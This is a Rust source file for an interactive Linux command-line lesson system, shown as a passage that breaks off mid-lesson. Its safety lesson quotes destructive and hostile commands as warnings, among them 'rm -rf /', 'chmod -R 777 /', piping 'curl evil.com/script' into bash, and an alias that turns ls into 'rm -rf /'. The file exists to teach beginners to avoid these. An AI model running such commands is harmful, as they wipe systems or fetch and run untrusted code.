arct_core/
lesson.rs

1//! Interactive lesson system for teaching Linux/Bash concepts
2//!
3//! This module provides a comprehensive framework for creating, validating,
4//! and tracking progress through interactive lessons.
5
6use serde::{Deserialize, Serialize};
7use std::collections::HashMap;
8
9/// A complete lesson module (e.g., "Navigation Basics")
10#[derive(Debug, Clone, Serialize, Deserialize)]
11pub struct Lesson {
12    pub id: String,
13    pub title: String,
14    pub description: String,
15    pub difficulty: Difficulty,
16    pub estimated_minutes: u32,
17    pub steps: Vec<LessonStep>,
18    pub prerequisites: Vec<String>, // IDs of lessons that should be completed first
19    pub tags: Vec<String>,          // e.g., ["beginner", "navigation", "essential"]
20}
21
22/// Difficulty level of a lesson
23#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
24pub enum Difficulty {
25    Beginner,
26    Intermediate,
27    Advanced,
28    Expert,
29}
30
31/// A single step within a lesson
32#[derive(Debug, Clone, Serialize, Deserialize)]
33pub struct LessonStep {
34    pub step_number: u32,
35    pub title: String,
36    pub instruction: String,
37    pub hint: Option<String>,
38    pub step_type: StepType,
39}
40
41/// Type of lesson step
42#[derive(Debug, Clone, Serialize, Deserialize)]
43pub enum StepType {
44    /// User must execute a specific command
45    CommandExercise {
46        expected_command: String,
47        validation: CommandValidation,
48        success_message: String,
49    },
50    /// Multiple choice question
51    MultipleChoice {
52        question: String,
53        options: Vec<String>,
54        correct_index: usize,
55        explanation: String,
56    },
57    /// Fill in the blank in a command
58    FillInBlank {
59        template: String,       // e.g., "ls {flags} /home"
60        correct_answers: Vec<String>, // e.g., ["-la", "-l -a"]
61        explanation: String,
62    },
63    /// Information/explanation only (no validation)
64    Information {
65        content: String,
66    },
67    /// Free-form practice with validation
68    Practice {
69        goal: String,
70        validation: PracticeValidation,
71        hints: Vec<String>,
72    },
73}
74
75/// How to validate a command exercise
76#[derive(Debug, Clone, Serialize, Deserialize)]
77pub enum CommandValidation {
78    /// Exact command match (ignoring whitespace)
79    Exact,
80    /// Command and flags must match (args can vary)
81    CommandAndFlags,
82    /// Just the base command must match
83    CommandOnly,
84    /// Custom validation with regex
85    Regex(String),
86    /// Multiple acceptable commands
87    AnyOf(Vec<String>),
88}
89
90/// Validation for practice exercises
91#[derive(Debug, Clone, Serialize, Deserialize)]
92pub enum PracticeValidation {
93    /// File exists at path
94    FileExists(String),
95    /// Directory exists at path
96    DirectoryExists(String),
97    /// File contains specific content
98    FileContains { path: String, content: String },
99    /// Command output matches pattern
100    OutputMatches { command: String, pattern: String },
101    /// Custom validator (description only, actual validation in engine)
102    Custom(String),
103}
104
105/// Progress tracking for a user through lessons
106#[derive(Debug, Clone, Serialize, Deserialize)]
107pub struct LessonProgress {
108    pub lesson_id: String,
109    pub current_step: u32,
110    pub completed_steps: Vec<u32>,
111    pub started_at: chrono::DateTime<chrono::Utc>,
112    pub completed_at: Option<chrono::DateTime<chrono::Utc>>,
113    pub attempts: HashMap<u32, u32>, // step_number -> attempt_count
114}
115
116impl LessonProgress {
117    pub fn new(lesson_id: String) -> Self {
118        Self {
119            lesson_id,
120            current_step: 1,
121            completed_steps: Vec::new(),
122            started_at: chrono::Utc::now(),
123            completed_at: None,
124            attempts: HashMap::new(),
125        }
126    }
127
128    pub fn is_completed(&self) -> bool {
129        self.completed_at.is_some()
130    }
131
132    pub fn completion_percentage(&self, total_steps: u32) -> f32 {
133        if total_steps == 0 {
134            return 0.0;
135        }
136        (self.completed_steps.len() as f32 / total_steps as f32) * 100.0
137    }
138
139    pub fn record_attempt(&mut self, step_number: u32) {
140        *self.attempts.entry(step_number).or_insert(0) += 1;
141    }
142
143    pub fn complete_step(&mut self, step_number: u32) {
144        if !self.completed_steps.contains(&step_number) {
145            self.completed_steps.push(step_number);
146            self.completed_steps.sort();
147        }
148    }
149
150    pub fn complete_lesson(&mut self) {
151        self.completed_at = Some(chrono::Utc::now());
152    }
153}
154
155/// Lesson library that stores all available lessons
156pub struct LessonLibrary {
157    lessons: HashMap<String, Lesson>,
158}
159
160impl LessonLibrary {
161    pub fn new() -> Self {
162        let mut library = Self {
163            lessons: HashMap::new(),
164        };
165        library.load_default_lessons();
166        library
167    }
168
169    /// Register a lesson in the library
170    pub fn register(&mut self, lesson: Lesson) {
171        self.lessons.insert(lesson.id.clone(), lesson);
172    }
173
174    /// Get a lesson by ID
175    pub fn get(&self, id: &str) -> Option<&Lesson> {
176        self.lessons.get(id)
177    }
178
179    /// Get all lessons
180    pub fn all(&self) -> Vec<&Lesson> {
181        self.lessons.values().collect()
182    }
183
184    /// Get lessons by difficulty
185    pub fn by_difficulty(&self, difficulty: Difficulty) -> Vec<&Lesson> {
186        self.lessons
187            .values()
188            .filter(|l| l.difficulty == difficulty)
189            .collect()
190    }
191
192    /// Get lessons by tag
193    pub fn by_tag(&self, tag: &str) -> Vec<&Lesson> {
194        self.lessons
195            .values()
196            .filter(|l| l.tags.iter().any(|t| t == tag))
197            .collect()
198    }
199
200    /// Load default lessons (initial set)
201    fn load_default_lessons(&mut self) {
202        self.register(create_navigation_basics_lesson());
203        self.register(create_file_management_lesson());
204        self.register(create_safety_lesson());
205        self.register(create_file_viewing_lesson());
206        self.register(create_permissions_lesson());
207        self.register(create_process_management_lesson());
208        self.register(create_text_processing_lesson());
209        self.register(create_package_management_lesson());
210        self.register(create_network_basics_lesson());
211        self.register(create_git_fundamentals_lesson());
212    }
213}
214
215impl Default for LessonLibrary {
216    fn default() -> Self {
217        Self::new()
218    }
219}
220
221/// Lesson validation engine
222pub struct LessonValidator {
223    // For now, just basic validation
224    // Will expand with actual command execution and output checking
225}
226
227impl LessonValidator {
228    pub fn new() -> Self {
229        Self {}
230    }
231
232    /// Validate a command exercise
233    pub fn validate_command(
234        &self,
235        user_input: &str,
236        expected: &str,
237        validation: &CommandValidation,
238    ) -> ValidationResult {
239        match validation {
240            CommandValidation::Exact => {
241                let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
242                let normalized_expected = expected.trim().split_whitespace().collect::<Vec<_>>().join(" ");
243
244                if normalized_input == normalized_expected {
245                    ValidationResult::Success {
246                        message: "Perfect! That's exactly right.".to_string(),
247                    }
248                } else {
249                    ValidationResult::Failure {
250                        message: format!("Not quite. Expected: {}", expected),
251                        hint: Some("Check the command and flags carefully.".to_string()),
252                    }
253                }
254            }
255            CommandValidation::CommandOnly => {
256                let user_cmd = user_input.trim().split_whitespace().next().unwrap_or("");
257                let expected_cmd = expected.trim().split_whitespace().next().unwrap_or("");
258
259                if user_cmd == expected_cmd {
260                    ValidationResult::Success {
261                        message: "Correct command!".to_string(),
262                    }
263                } else {
264                    ValidationResult::Failure {
265                        message: format!("Wrong command. Expected: {}", expected_cmd),
266                        hint: None,
267                    }
268                }
269            }
270            CommandValidation::AnyOf(commands) => {
271                let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
272
273                for cmd in commands {
274                    let normalized_cmd = cmd.trim().split_whitespace().collect::<Vec<_>>().join(" ");
275                    if normalized_input == normalized_cmd {
276                        return ValidationResult::Success {
277                            message: "Correct!".to_string(),
278                        };
279                    }
280                }
281
282                ValidationResult::Failure {
283                    message: "Not quite. Try one of the expected commands.".to_string(),
284                    hint: Some(format!("Expected one of: {}", commands.join(" OR "))),
285                }
286            }
287            _ => ValidationResult::Success {
288                message: "Validation passed (stub)".to_string(),
289            },
290        }
291    }
292
293    /// Validate a multiple choice answer
294    pub fn validate_multiple_choice(&self, user_choice: usize, correct: usize) -> ValidationResult {
295        if user_choice == correct {
296            ValidationResult::Success {
297                message: "Correct!".to_string(),
298            }
299        } else {
300            ValidationResult::Failure {
301                message: "Not quite. Try again!".to_string(),
302                hint: None,
303            }
304        }
305    }
306}
307
308impl Default for LessonValidator {
309    fn default() -> Self {
310        Self::new()
311    }
312}
313
314/// Result of validating user input for a lesson step
315#[derive(Debug, Clone)]
316pub enum ValidationResult {
317    Success { message: String },
318    Failure { message: String, hint: Option<String> },
319    Partial { message: String, progress: f32 },
320}
321
322impl ValidationResult {
323    pub fn is_success(&self) -> bool {
324        matches!(self, ValidationResult::Success { .. })
325    }
326}
327
328// ============================================================================
329// Default Lesson Definitions
330// ============================================================================
331
332/// Create the "Navigation Basics" lesson
333fn create_navigation_basics_lesson() -> Lesson {
334    Lesson {
335        id: "nav-basics".to_string(),
336        title: "Navigation Basics".to_string(),
337        description: "Learn how to navigate the Linux filesystem using essential commands like ls, cd, pwd, and tree.".to_string(),
338        difficulty: Difficulty::Beginner,
339        estimated_minutes: 10,
340        prerequisites: vec![],
341        tags: vec!["beginner".to_string(), "navigation".to_string(), "essential".to_string()],
342        steps: vec![
343            LessonStep {
344                step_number: 1,
345                title: "Understanding Your Current Location".to_string(),
346                instruction: "Every time you open a terminal, you're in a specific directory. Let's find out where you are. Type the command to print your current working directory.".to_string(),
347                hint: Some("The command is 'pwd' (print working directory)".to_string()),
348                step_type: StepType::CommandExercise {
349                    expected_command: "pwd".to_string(),
350                    validation: CommandValidation::CommandOnly,
351                    success_message: "Perfect! 'pwd' shows your current directory. This is your starting point.".to_string(),
352                },
353            },
354            LessonStep {
355                step_number: 2,
356                title: "Listing Files and Directories".to_string(),
357                instruction: "Now let's see what's in your current directory. Use the command to list all files and directories.".to_string(),
358                hint: Some("The command is 'ls' (list)".to_string()),
359                step_type: StepType::CommandExercise {
360                    expected_command: "ls".to_string(),
361                    validation: CommandValidation::CommandOnly,
362                    success_message: "Great! 'ls' shows you what's in the current directory.".to_string(),
363                },
364            },
365            LessonStep {
366                step_number: 3,
367                title: "Detailed File Listings".to_string(),
368                instruction: "Let's get more information about the files. Use 'ls' with flags to show a long, detailed listing with human-readable file sizes.".to_string(),
369                hint: Some("Try 'ls -lh' (long format + human-readable sizes)".to_string()),
370                step_type: StepType::CommandExercise {
371                    expected_command: "ls -lh".to_string(),
372                    validation: CommandValidation::AnyOf(vec![
373                        "ls -lh".to_string(),
374                        "ls -hl".to_string(),
375                        "ls -l -h".to_string(),
376                        "ls -h -l".to_string(),
377                    ]),
378                    success_message: "Excellent! The -l flag shows details like permissions, owner, size, and date. The -h flag makes sizes human-readable (KB, MB, GB).".to_string(),
379                },
380            },
381            LessonStep {
382                step_number: 4,
383                title: "Understanding Hidden Files".to_string(),
384                instruction: "Many configuration files are hidden (they start with a dot). Let's see ALL files, including hidden ones.".to_string(),
385                hint: Some("Use the -a flag with ls".to_string()),
386                step_type: StepType::CommandExercise {
387                    expected_command: "ls -a".to_string(),
388                    validation: CommandValidation::CommandOnly,
389                    success_message: "Perfect! Files starting with '.' are hidden. You'll see '.bashrc', '.profile', etc. - these are configuration files.".to_string(),
390                },
391            },
392            LessonStep {
393                step_number: 5,
394                title: "Changing Directories".to_string(),
395                instruction: "Let's move to your home directory. Use the change directory command with the ~ symbol (tilde represents your home).".to_string(),
396                hint: Some("Type 'cd ~' or just 'cd'".to_string()),
397                step_type: StepType::CommandExercise {
398                    expected_command: "cd".to_string(),
399                    validation: CommandValidation::AnyOf(vec![
400                        "cd".to_string(),
401                        "cd ~".to_string(),
402                        "cd $HOME".to_string(),
403                    ]),
404                    success_message: "Great! 'cd' without arguments always takes you home. The ~ symbol is a shortcut for your home directory.".to_string(),
405                },
406            },
407            LessonStep {
408                step_number: 6,
409                title: "Quiz: What does 'cd ..' do?".to_string(),
410                instruction: "".to_string(),
411                hint: None,
412                step_type: StepType::MultipleChoice {
413                    question: "What does the command 'cd ..' do?".to_string(),
414                    options: vec![
415                        "Goes to the home directory".to_string(),
416                        "Goes up one directory level (to the parent)".to_string(),
417                        "Lists files in the current directory".to_string(),
418                        "Creates a new directory".to_string(),
419                    ],
420                    correct_index: 1,
421                    explanation: "Correct! '..' is a special symbol that represents the parent directory. So 'cd ..' moves you up one level in the directory tree.".to_string(),
422                },
423            },
424            LessonStep {
425                step_number: 7,
426                title: "Pro Tip: cd -".to_string(),
427                instruction: "".to_string(),
428                hint: None,
429                step_type: StepType::Information {
430                    content: "Pro tip: 'cd -' is a super useful command! It takes you back to your previous directory. Try it:\n\n  cd /tmp\n  cd ~\n  cd -    # Takes you back to /tmp!\n\nThis is great for quickly switching between two directories you're working in.".to_string(),
431                },
432            },
433            LessonStep {
434                step_number: 8,
435                title: "Completion: Navigation Mastered!".to_string(),
436                instruction: "".to_string(),
437                hint: None,
438                step_type: StepType::Information {
439                    content: "Congratulations! 🎉 You've mastered basic navigation!\n\nKey commands you learned:\n  • pwd  - Print working directory\n  • ls   - List files (use -l for details, -a for hidden, -h for human-readable)\n  • cd   - Change directory\n  • cd ~ - Go home\n  • cd .. - Go up one level\n  • cd -  - Toggle to previous directory\n\nThese are the foundation of navigating Linux. Practice them often!".to_string(),
440                },
441            },
442        ],
443    }
444}
445
446/// Create the "File Management" lesson
447fn create_file_management_lesson() -> Lesson {
448    Lesson {
449        id: "file-mgmt".to_string(),
450        title: "File Management Basics".to_string(),
451        description: "Learn to create, copy, move, and delete files and directories safely.".to_string(),
452        difficulty: Difficulty::Beginner,
453        estimated_minutes: 15,
454        prerequisites: vec!["nav-basics".to_string()],
455        tags: vec!["beginner".to_string(), "files".to_string(), "essential".to_string()],
456        steps: vec![
457            LessonStep {
458                step_number: 1,
459                title: "Creating a Practice Directory".to_string(),
460                instruction: "Let's create a safe practice space. Create a directory called 'practice' in your current location.".to_string(),
461                hint: Some("Use 'mkdir practice'".to_string()),
462                step_type: StepType::CommandExercise {
463                    expected_command: "mkdir practice".to_string(),
464                    validation: CommandValidation::CommandOnly,
465                    success_message: "Great! 'mkdir' (make directory) creates a new folder. Now you have a safe space to practice.".to_string(),
466                },
467            },
468            LessonStep {
469                step_number: 2,
470                title: "Creating a File".to_string(),
471                instruction: "Navigate into your practice directory and create an empty file called 'test.txt'.".to_string(),
472                hint: Some("Use 'cd practice' then 'touch test.txt'".to_string()),
473                step_type: StepType::CommandExercise {
474                    expected_command: "touch test.txt".to_string(),
475                    validation: CommandValidation::CommandOnly,
476                    success_message: "Perfect! 'touch' creates an empty file or updates the timestamp of an existing one.".to_string(),
477                },
478            },
479            LessonStep {
480                step_number: 3,
481                title: "Copying Files".to_string(),
482                instruction: "Make a copy of test.txt called test-backup.txt.".to_string(),
483                hint: Some("Use 'cp test.txt test-backup.txt'".to_string()),
484                step_type: StepType::CommandExercise {
485                    expected_command: "cp test.txt test-backup.txt".to_string(),
486                    validation: CommandValidation::Exact,
487                    success_message: "Excellent! 'cp source destination' copies a file. Always make backups of important files before editing!".to_string(),
488                },
489            },
490            LessonStep {
491                step_number: 4,
492                title: "Moving/Renaming Files".to_string(),
493                instruction: "Rename test-backup.txt to backup.txt using the move command.".to_string(),
494                hint: Some("'mv' is used for both moving and renaming. Try 'mv test-backup.txt backup.txt'".to_string()),
495                step_type: StepType::CommandExercise {
496                    expected_command: "mv test-backup.txt backup.txt".to_string(),
497                    validation: CommandValidation::Exact,
498                    success_message: "Great! 'mv' moves OR renames files. When source and destination are in the same directory, it's renaming.".to_string(),
499                },
500            },
501            LessonStep {
502                step_number: 5,
503                title: "Safety Quiz".to_string(),
504                instruction: "".to_string(),
505                hint: None,
506                step_type: StepType::MultipleChoice {
507                    question: "Which flag should you ALWAYS use with 'rm' for safety?".to_string(),
508                    options: vec![
509                        "-f (force)".to_string(),
510                        "-i (interactive/confirm)".to_string(),
511                        "-r (recursive)".to_string(),
512                        "-v (verbose)".to_string(),
513                    ],
514                    correct_index: 1,
515                    explanation: "Correct! The -i flag makes rm ask for confirmation before deleting. NEVER use -f (force) unless you're absolutely sure. -r is for directories but should be used with -i for safety.".to_string(),
516                },
517            },
518            LessonStep {
519                step_number: 6,
520                title: "Safe Deletion".to_string(),
521                instruction: "Delete test.txt safely by using the interactive flag.".to_string(),
522                hint: Some("Use 'rm -i test.txt' and confirm when prompted".to_string()),
523                step_type: StepType::CommandExercise {
524                    expected_command: "rm -i test.txt".to_string(),
525                    validation: CommandValidation::Exact,
526                    success_message: "Perfect! Always use -i when deleting files. There is NO undo in Linux - deleted files are gone forever!".to_string(),
527                },
528            },
529            LessonStep {
530                step_number: 7,
531                title: "Completion: File Management Mastered!".to_string(),
532                instruction: "".to_string(),
533                hint: None,
534                step_type: StepType::Information {
535                    content: "Excellent work! 🎉 You've learned essential file management!\n\nKey commands:\n  • mkdir  - Create directories\n  • touch  - Create empty files\n  • cp     - Copy files\n  • mv     - Move or rename files\n  • rm -i  - Delete files (ALWAYS use -i for safety!)\n\nSafety rules:\n  ⚠️  Always use 'rm -i' not 'rm -f'\n  ⚠️  Make backups before editing important files\n  ⚠️  Be very careful with 'rm -r' (deletes directories)\n  ⚠️  NEVER run 'rm -rf /' (destroys your system!)\n\nNext: Learn text processing!".to_string(),
536                },
537            },
538        ],
539    }
540}
541
542/// Create the "What NOT to Do" safety lesson
543fn create_safety_lesson() -> Lesson {
544    Lesson {
545        id: "safety-essentials".to_string(),
546        title: "What NOT to Do - Safety Essentials".to_string(),
547        description: "Critical safety lessons to prevent data loss, system damage, and security vulnerabilities. Learn the dangerous commands and practices to avoid.".to_string(),
548        difficulty: Difficulty::Beginner,
549        estimated_minutes: 15,
550        prerequisites: vec![],
551        tags: vec!["beginner".to_string(), "safety".to_string(), "essential".to_string(), "security".to_string()],
552        steps: vec![
553            LessonStep {
554                step_number: 1,
555                title: "Welcome to Safety Training".to_string(),
556                instruction: "".to_string(),
557                hint: None,
558                step_type: StepType::Information {
559                    content: "⚠️  IMPORTANT: This lesson teaches you what NOT to do!\n\nThe command line is powerful - which means it can do a LOT of damage if misused. Unlike graphical interfaces with confirmation dialogs and trash bins, the terminal executes commands IMMEDIATELY and PERMANENTLY.\n\nIn this lesson, you'll learn:\n  • Dangerous commands that can destroy your system\n  • Common mistakes beginners make\n  • Security vulnerabilities to avoid\n  • Best practices for safe command line usage\n\nThis knowledge could save you from:\n  • Losing important files forever\n  • Breaking your operating system\n  • Creating security holes\n  • Hours of recovery work\n\nLet's get started! 🛡️".to_string(),
560                },
561            },
562            LessonStep {
563                step_number: 2,
564                title: "The Most Dangerous Command".to_string(),
565                instruction: "".to_string(),
566                hint: None,
567                step_type: StepType::MultipleChoice {
568                    question: "Which command is EXTREMELY dangerous and should NEVER be run?".to_string(),
569                    options: vec![
570                        "rm -i file.txt".to_string(),
571                        "rm -rf /".to_string(),
572                        "ls -la /".to_string(),
573                        "cd /tmp".to_string(),
574                    ],
575                    correct_index: 1,
576                    explanation: "CORRECT! 'rm -rf /' is catastrophic - it recursively force-deletes your ENTIRE system starting from the root! The -r means recursive (all files and folders), -f means force (no confirmations), and / is the root of your entire filesystem. This will destroy your operating system and all your data. Modern systems have protections, but NEVER try this. Even 'rm -rf /*' (with a star) can be devastating!".to_string(),
577                },
578            },
579            LessonStep {
580                step_number: 3,
581                title: "Understanding Force Flags".to_string(),
582                instruction: "".to_string(),
583                hint: None,
584                step_type: StepType::Information {
585                    content: "🚨 NEVER USE FORCE FLAGS UNLESS YOU'RE ABSOLUTELY CERTAIN!\n\nDangerous force flags to avoid:\n\n  • rm -f      - Deletes without asking (NO confirmation!)\n  • rm -rf     - Recursively force-deletes directories\n  • mv -f      - Overwrites files without warning\n  • cp -f      - Overwrites files without asking\n\nInstead, ALWAYS use interactive flags:\n\n  ✅ rm -i     - Asks before each deletion\n  ✅ rm -ri    - Safe recursive deletion with prompts\n  ✅ mv -i     - Asks before overwriting\n  ✅ cp -i     - Asks before overwriting\n\nRemember: Linux has NO recycle bin. Deleted = GONE FOREVER!\nThe -i flag is your safety net. Use it!".to_string(),
586                },
587            },
588            LessonStep {
589                step_number: 4,
590                title: "Permission Dangers".to_string(),
591                instruction: "".to_string(),
592                hint: None,
593                step_type: StepType::MultipleChoice {
594                    question: "You need to make a script executable. Which chmod command is safest?".to_string(),
595                    options: vec![
596                        "chmod 777 script.sh (everyone can read, write, execute)".to_string(),
597                        "chmod +x script.sh (add execute permission)".to_string(),
598                        "chmod -R 777 / (make everything writable)".to_string(),
599                        "chmod 000 script.sh (remove all permissions)".to_string(),
600                    ],
601                    correct_index: 1,
602                    explanation: "CORRECT! 'chmod +x script.sh' just adds execute permission safely. \n\n❌ NEVER use chmod 777! This gives EVERYONE (including attackers) full read, write, and execute access. It's a MASSIVE security hole!\n\n❌ NEVER use chmod -R 777 on system directories! This makes your entire system vulnerable.\n\nAlways use minimal permissions:\n  • 755 for directories and executables (owner can write, others can read/execute)\n  • 644 for regular files (owner can write, others can read)\n  • Use +x, +r, +w to add specific permissions instead of numbers".to_string(),
603                },
604            },
605            LessonStep {
606                step_number: 5,
607                title: "The Sudo Trap".to_string(),
608                instruction: "".to_string(),
609                hint: None,
610                step_type: StepType::Information {
611                    content: "🔐 SUDO GIVES YOU SUPERPOWERS - USE RESPONSIBLY!\n\nCommon sudo mistakes:\n\n❌ DON'T: Run random internet commands with sudo\n   Example: Don't blindly copy-paste 'sudo rm -rf /usr'\n\n❌ DON'T: Use sudo just because a command failed\n   Example: If 'npm install' fails, DON'T try 'sudo npm install'\n   (Fix permissions instead!)\n\n❌ DON'T: Pipe untrusted scripts to sudo bash\n   Example: curl http://example.com/script.sh | sudo bash\n   (This runs unknown code as admin!)\n\n✅ DO: Read and understand commands before using sudo\n✅ DO: Use sudo only when actually needed (system changes)\n✅ DO: Check who wrote the script you're running\n\nThink of sudo like giving someone the keys to your house - only do it when absolutely necessary and you trust the command!".to_string(),
612                },
613            },
614            LessonStep {
615                step_number: 6,
616                title: "Wildcard Disasters".to_string(),
617                instruction: "".to_string(),
618                hint: None,
619                step_type: StepType::MultipleChoice {
620                    question: "You're in your home directory and want to delete all .txt files. Which is SAFEST?".to_string(),
621                    options: vec![
622                        "rm *.txt (could be dangerous if you're in wrong directory!)".to_string(),
623                        "rm -rf *".to_string(),
624                        "First 'ls *.txt' to verify, then 'rm -i *.txt'".to_string(),
625                        "cd / && rm *.txt".to_string(),
626                    ],
627                    correct_index: 2,
628                    explanation: "CORRECT! Always verify with 'ls' FIRST, then use 'rm -i' for confirmation!\n\nWildcard disasters to avoid:\n\n❌ 'rm -rf *' - Deletes EVERYTHING in current directory!\n❌ 'rm -rf * .*' - Even worse, includes hidden files!\n❌ 'rm * .txt' - Space before .txt means delete everything AND .txt!\n\nSafety practices:\n  1️⃣  Always 'pwd' to confirm you're in the right directory\n  2️⃣  Always 'ls [pattern]' to see what matches BEFORE deleting\n  3️⃣  Always use 'rm -i' with wildcards\n  4️⃣  Be EXTRA careful with spaces in commands!".to_string(),
629                },
630            },
631            LessonStep {
632                step_number: 7,
633                title: "Pipe and Redirect Dangers".to_string(),
634                instruction: "".to_string(),
635                hint: None,
636                step_type: StepType::Information {
637                    content: "⚡ REDIRECTS CAN OVERWRITE FILES INSTANTLY!\n\nDangerous redirects:\n\n❌ command > important.txt\n   • Single > OVERWRITES the file completely!\n   • If command is empty, you just erased your file!\n\n❌ command > /etc/passwd\n   • Overwriting system files breaks your system!\n\n❌ cat file.txt > file.txt\n   • You just erased file.txt with an empty file!\n   • (Can't read and write same file this way)\n\nSafe practices:\n\n✅ command >> file.txt  (double >> appends instead of overwriting)\n✅ Always backup first: cp important.txt important.txt.bak\n✅ Test commands first: command > /tmp/test.txt\n✅ Use 'set -o noclobber' to prevent accidental overwrites\n\nRemember: > is INSTANT and PERMANENT!".to_string(),
638                },
639            },
640            LessonStep {
641                step_number: 8,
642                title: "Copy-Paste from the Internet".to_string(),
643                instruction: "".to_string(),
644                hint: None,
645                step_type: StepType::MultipleChoice {
646                    question: "You found a cool command on a random website. What should you do?".to_string(),
647                    options: vec![
648                        "Copy-paste it immediately into your terminal".to_string(),
649                        "Add sudo to make sure it works".to_string(),
650                        "Read and understand what each part does, then type it yourself".to_string(),
651                        "Run it in another user's account first".to_string(),
652                    ],
653                    correct_index: 2,
654                    explanation: "CORRECT! Always READ and UNDERSTAND commands first!\n\nInternet command safety:\n\n❌ Malicious examples you might see:\n   • curl evil.com/script | bash  (runs hidden malware!)\n   • alias ls='rm -rf /'  (makes 'ls' destroy your system!)\n   • Hidden characters that do something different than shown\n\n✅ Safe practices:\n   1️⃣  READ every part of the command\n   2️⃣  Look up unfamiliar commands with 'man' or '--help'\n   3️⃣  TYPE commands yourself (don't copy-paste!)\n   4️⃣  Be skeptical of commands that:\n      • Use sudo unnecessarily\n      • Pipe curl/wget to bash\n      • Have > redirects to system files\n      • Use rm, chmod, or other dangerous commands\n   5️⃣  Only trust official documentation\n\nWhen in doubt, ask an expert or research more!".to_string(),
655                },
656            },
657            LessonStep {
658                step_number: 9,
659                title: "File System Navigation Mistakes".to_string(),
660                instruction: "".to_string(),
661                hint: None,
662                step_type: StepType::Information {
663                    content: "🗺️  ALWAYS KNOW WHERE YOU ARE!\n\nCommon navigation mistakes:\n\n❌ Running destructive commands without checking location:\n   pwd  ← Always do this first!\n   # Oh no, I'm in / not /tmp!\n\n❌ Typos in paths with destructive commands:\n   cd /tmpp/work     ← Failed (typo)\n   rm -rf *          ← Just deleted wrong directory!\n\n❌ Assuming you're in the right directory:\n   cd ~/projects/myapp\n   # ...later...\n   rm -rf node_modules  ← Are you still in myapp?\n\nSafe practices:\n\n✅ Always 'pwd' before destructive operations\n✅ Use absolute paths for important operations:\n   rm -rf /tmp/test instead of cd /tmp && rm -rf test\n✅ Use tab completion to avoid typos\n✅ Create a habit: 'pwd' → 'ls' → then act\n✅ Be extra careful in /tmp, /, and system directories".to_string(),
664                },
665            },
666            LessonStep {
667                step_number: 10,
668                title: "Hidden Files and Spaces in Names".to_string(),
669                instruction: "".to_string(),
670                hint: None,
671                step_type: StepType::Information {
672                    content: "👻 WATCH OUT FOR HIDDEN FILES AND SPACES!\n\nHidden file dangers:\n\n❌ rm -rf * → Deletes visible files only\n❌ rm -rf * .* → DANGEROUS! .* matches .. (parent directory!)\n✅ rm -rf * .[^.]* → Safe way to include hidden files\n\nSpaces in filenames:\n\n❌ rm my file.txt → Tries to delete 'my' and 'file.txt'\n✅ rm \"my file.txt\" → Correct (quotes protect spaces)\n✅ rm my\\ file.txt → Also correct (backslash escapes space)\n✅ Use tab completion to auto-escape spaces!\n\nOther tricky characters:\n\n❌ Files starting with - (dash) confuse commands:\n   rm -file.txt → Thinks it's a flag!\n   ✅ rm ./-file.txt → Correct way\n\n❌ Files with special characters: !@#$%^&*()\n   ✅ Always use quotes or escape them\n\nBest practice: Avoid spaces in filenames! Use underscores or dashes:\n  my-file.txt or my_file.txt".to_string(),
673                },
674            },
675            LessonStep {
676                step_number: 11,
677                title: "Environment Variable Dangers".to_string(),
678                instruction: "".to_string(),
679                hint: None,
680                step_type: StepType::Information {
681                    content: "🔧 BE CAREFUL WITH ENVIRONMENT VARIABLES!\n\nDangerous modifications:\n\n❌ export PATH=/usr/bin\n   • Overwrites entire PATH (breaks most commands!)\n   ✅ export PATH=$PATH:/usr/bin (appends instead)\n\n❌ unset PATH\n   • Makes most commands unusable!\n\n❌ Adding untrusted directories to PATH:\n   export PATH=/tmp:$PATH\n   • Now malicious /tmp/ls could run instead of real ls!\n\nSystem file dangers:\n\n❌ NEVER edit these without understanding them:\n   • /etc/passwd → User accounts\n   • /etc/fstab → Disk mounting (can prevent boot!)\n   • /etc/hosts → Network resolution\n   • /boot/* → Boot files (can break booting!)\n\n✅ Safe practices:\n   • Always backup before editing: sudo cp /etc/passwd /etc/passwd.bak\n   • Use proper editors: sudo vi /etc/hosts\n   • Test changes in your home directory first\n   • Keep recovery USB drive handy!".to_string(),
682                },
683            },
684            LessonStep {
685                step_number: 12,
686                title: "Completion: Safety Knowledge Acquired!".to_string(),
687                instruction: "".to_string(),
688                hint: None,
689                step_type: StepType::Information {
690                    content: "🎓 CONGRATULATIONS! You're now aware of major dangers!\n\n🛡️  GOLDEN RULES TO REMEMBER:\n\n1️⃣  NEVER run 'rm -rf /' or 'rm -rf /*'\n2️⃣  ALWAYS use -i flag with rm, mv, cp\n3️⃣  NEVER use chmod 777 on anything\n4️⃣  ALWAYS read commands before running them\n5️⃣  NEVER blindly copy-paste from the internet\n6️⃣  ALWAYS pwd before destructive operations\n7️⃣  NEVER pipe curl to bash without reading the script\n8️⃣  ALWAYS use sudo minimally and carefully\n9️⃣  NEVER assume you're in the right directory\n🔟 ALWAYS backup important files before operations\n\n💡 When in doubt:\n  • man <command> → Read the manual\n  • <command> --help → Get help info\n  • Ask in forums/communities\n  • Test in /tmp or virtual machine first\n  • Make backups before experimenting\n\nStay safe and enjoy the power of the command line! 🚀\n\nNext: Practice these lessons in safe environments!".to_string(),
691                },
692            },
693        ],
694    }
695}
696
697/// Create the "File Viewing & Reading" lesson
698fn create_file_viewing_lesson() -> Lesson {
699    Lesson {
700        id: "file-viewing".to_string(),
701        title: "File Viewing & Reading".to_string(),
702        description: "Master the art of reading, viewing, and searching through text files using cat, less, head, tail, and grep.".to_string(),
703        difficulty: Difficulty::Beginner,
704        estimated_minutes: 12,
705        prerequisites: vec!["nav-basics".to_string()],
706        tags: vec!["beginner".to_string(), "files".to_string(), "text".to_string()],
707        steps: vec![
708            LessonStep {
709                step_number: 1,
710                title: "Introduction to File Viewing".to_string(),
711                instruction: "".to_string(),
712                hint: None,
713                step_type: StepType::Information {
714                    content: "Welcome to File Viewing & Reading!\n\nIn Linux, almost everything is a text file - configuration files, logs, scripts, and more. Knowing how to quickly read and search through files is essential.\n\nYou'll learn:\n  • cat - Display entire files\n  • less - Navigate large files\n  • head/tail - View file beginnings and ends\n  • grep - Search for patterns in files\n\nThese tools are your windows into the file system. Let's get started!".to_string(),
715                },
716            },
717            LessonStep {
718                step_number: 2,
719                title: "Using cat to Display Files".to_string(),
720                instruction: "The 'cat' command (concatenate) displays file contents. Try viewing a file with cat /etc/hostname".to_string(),
721                hint: Some("Type: cat /etc/hostname".to_string()),
